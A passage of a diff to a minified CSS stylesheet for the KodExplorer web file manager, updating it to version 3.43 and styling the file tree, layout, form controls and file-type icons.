li{padding:0;margin:0;list-style:none;text-align:left;white-space:nowrap;outline:0;}.ztree li ul{margin:0;padding:0;}.ztree li.level0{margin-bottom:4px;}.ztree li.level0>span.tree_icon{width:20px;}.ztree li span{line-height:24px;}.ztree li span.button{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:24px;width:20px;margin-right:5px;}.ztree li span.button.switch{width:25px;height:25px;margin-right:0px;background:none;text-align:center;line-height:25px;}.ztree li span.button.switch:hover{background:rgba(0,0,0,0.03);}.ztree li span.button.switch:after{content:"\f0da";font-family:FontAwesome;color:#aaa;text-decoration:inherit;font-size:1.25em;line-height:16px;padding-left:6px;-webkit-font-smoothing:antialiased;}.ztree li span.button.switch.noline_docu:after{content:' ';}.ztree li span.button.switch.noline_open:after,.ztree li span.button.switch.noline_open_hover:after{content:"\f0d7";}.ztree li span.button.switch.switch_hover:after{color:#63acff;}.ztree li span.button.ico_loading{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.ztree li span.button.ico_loading .x-item-file{display:none;}.ztree li span.tree_icon{height:21px;width:21px;background:none;overflow:hidden;}.ztree li span.tree_icon img{width:100%;max-width:100%;max-height:100%;}.ztree li a{padding-top:0px;cursor:pointer;text-decoration:none;display:block;margin:0;color:#333;vertical-align:top;line-height:24px;height:24px;padding-left:10px;border:1px solid #fff;}.ztree li a:hover{text-decoration:none;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;-o-transition:all 0.3s;-ms-transition:all 0.3s;transition:all 0.3s;background:#eee;height:24px;border:1px solid #eee;}.ztree li a.curSelectedNode,.ztree li a.curDropTreeNode{border:1px solid #63acff;background:#63acff;line-height:24px;height:24px;color:#fff;}.ztree li a.curSelectedNode .button.switch:after,.ztree li a.curDropTreeNode .button.switch:after{color:#fff !important;}.ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #fff inset !important;}.ztree li a.curSelectedNode_Edit{border:1px solid #63acff;background:#63acff;color:black;height:24px;}.ztree li a input.rename{height:25px;line-height:24px;padding:0;margin:0;border:none;outline:none;margin-left:-3px;padding-left:3px;width:106px;position:absolute;margin-top:-1px;}.ztree li a span.button.root_docu,.ztree li a span.button.noline_docu{background:none;}ul.ztree.zTreeDragUL{margin:0;padding:0;position:absolute;width:auto;height:auto;background-color:#63acff;border:1px solid #63acff;opacity:0.5;filter:alpha(opacity=50);}ul.ztree.zTreeDragUL li a span.space{display:none !important;}ul.ztree.zTreeDragUL li a{padding:4px 10px 0 10px;color:#fff;}ul.ztree.zTreeDragUL li span.button.switch{display:none;}.ztree li a.tmpTargetNode_inner{background:#0076fc;border:1px solid #3091ff;color:#fff;}.ztree li a.tmpTargetNode_prev{border-bottom:1px solid #f96;}.ztree li a.tmpTargetNode_next{border-bottom:1px solid #f96;}span.tmpzTreeMove_arrow{display:inline-block;margin:4px 0 0 2px;position:absolute;border-color:transparent transparent transparent #fff;border-style:solid;border-width:7px 0px 7px 7px;width:0;height:0;_border-top-color:white;_border-bottom-color:white;_filter:chroma(color=white);}.frame-left .ztree li .file{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:22px;width:18px;margin-right:5px;}.frame-main{position:absolute;top:40px;width:100%;bottom:0px;}.frame-main .tools-left{background:#f8f8f8 url("../../../images/common/bg.gif") 0 0px;position:fixed;line-height:30px;padding-left:20px;height:28px;border-bottom:1px solid #ddd;left:0;width:100%;}.frame-main .tools-left a{font-size:1.25em;font-weight:800;text-decoration:none;color:#999;text-shadow:0 0 3px;display:inline-block;padding:2px 6px;margin-top:0;height:20px;line-height:20px;}.frame-main .tools-left a:hover{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;-webkit-box-shadow:0 2px 8px rgba(0,0,0,0.8);-moz-box-shadow:0 2px 8px rgba(0,0,0,0.8);box-shadow:0 2px 8px rgba(0,0,0,0.8);-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;}.frame-main .frame-left{position:absolute;left:0;top:30px;bottom:0;width:200px;background:#fff;background-attachment:fixed;overflow:auto;}.frame-main .frame-left .ztree{margin-top:0;}.frame-main .frame-left .ztree li.level0{margin-bottom:5px;}.frame-main .frame-resize{width:10px;cursor:col-resize;z-index:100;position:absolute;left:195px;top:0;bottom:0;overflow:hidden;background:url("../../../images/common/resize.png") 0px 50% no-repeat;}.frame-main .frame-resize.active{background:#000;opacity:0.2;filter:alpha(opacity=20);}.frame-main .frame-right{left:200px;right:0;position:absolute;top:0;bottom:0;overflow:auto;}.frame-main .frame-right .frame-right-main .resizeMask{z-index:999;position:absolute;left:0;top:0;bottom:0;right:0;display:none;}.frame-main .frame-right .frame-right-main .frame{height:100%;border-left:1px solid #ddd;overflow:hidden;} -/* ver 3.42(2017-04-07) [build 1491589355.5533] */ \ No newline at end of file +/* power by kodexplorer ver 3.43(2017-04-12) [build 1491999048.4252] */ +::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none 